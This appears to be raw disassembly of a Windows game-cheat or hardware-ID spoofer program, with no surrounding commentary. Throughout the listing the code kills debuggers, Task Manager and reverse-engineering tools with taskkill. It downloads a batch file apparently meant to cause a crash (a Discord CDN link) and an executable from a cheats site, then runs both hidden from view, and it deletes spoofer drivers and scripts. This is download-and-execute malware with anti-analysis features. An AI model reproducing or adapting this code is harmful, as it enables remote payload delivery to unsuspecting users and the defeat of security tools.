lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rcx, [rsp + 0xd030]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xd050]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xd070]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xd090]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xd0b0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xd0d0]
call fcn.14005d8e0
movss xmm1, dword [0x14039cef4]
xorps xmm0, xmm0
call fcn.1400cdb80
movss xmm2, dword [0x14039ce1c]
movss xmm1, dword [0x14039ce70]
lea rcx, [rsp + 0x3f8]
call fcn.14005eef0
lea rdx, [rsp + 0x3f8]
lea rcx, str.Create_Pc_Account
call fcn.1400f5190
movzx eax, al
test eax, eax
je 0x140072e74
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rdx, str.https:__cdn.discordapp.com_attachments_1140870881128742992_1145307096582201414_BSODTASKPROSSES.bat
lea rcx, [rsp + 0xd190]
call fcn.14005d9d0
nop
lea rdx, str.C:Program_FilesCommon_FilesSystem_adoBSODTASKPROSSES.bat
lea rcx, [rsp + 0xd170]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0xd170]
call fcn.14005d8d0
mov qword [rsp + 0x400], rax
lea rcx, [rsp + 0xd190]
call fcn.14005d8d0
mov qword [rsp + 0x408], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x400]
mov rdx, qword [rsp + 0x408]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rdx, str.http:__nxtg3ncheats.com_download_ADVACNEDAIO_UNDETECTEDADVACNEDMULTIWOOFERV2AIO_accountmaker.exe
lea rcx, [rsp + 0xd150]
call fcn.14005d9d0
nop
lea rdx, str.C:Program_FilesCommon_FilesSystem_ado_accountmaker.exe
lea rcx, [rsp + 0xd130]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0xd130]
call fcn.14005d8d0
mov qword [rsp + 0x410], rax
lea rcx, [rsp + 0xd150]
call fcn.14005d8d0
mov qword [rsp + 0x418], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x410]
mov rdx, qword [rsp + 0x418]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov dword [rsp + 0x28], 0xa
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:Program_FilesCommon_FilesSystem_ado_accountmaker.exe
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:Program_FilesCommon_FilesSystem_adoBSODTASKPROSSES.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rcx, [0x1403925a8]
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoSpoofyyerrrerst.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adodiskDRIVE.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDriverMapperSpoofyy.bat.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDriverMapperNULLSpoofyy.bat.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoNULLSPOOF.sys
call fcn.1402b632c
lea rcx, [0x1403925a8]
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_biosspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoNXTPERMMULTISPPOOFERV2.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_baseboardspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adodrives.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_systemspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adochassisspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adocpuspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_testing.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adomacchanger.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoc.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adod.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_biosspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoFIXEDV2.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adocpuspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_testing.bat
call fcn.1402b632c
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rdx, str.https:__cdn.discordapp.com_attachments_1140870881128742992_1145307096582201414_BSODTASKPROSSES.bat
lea rcx, [rsp + 0xd110]
call fcn.14005d9d0
nop
lea rdx, str.C:Program_FilesCommon_FilesSystem_adoBSODTASKPROSSES.bat
lea rcx, [rsp + 0xd0f0]
call fcn.14005d9d0
lea rcx, [rsp + 0xd0f0]
call fcn.14005d8d0
mov qword [rsp + 0x420], rax
lea rcx, [rsp + 0xd110]
call fcn.14005d8d0
mov qword [rsp + 0x428], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x420]
mov rdx, qword [rsp + 0x428]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
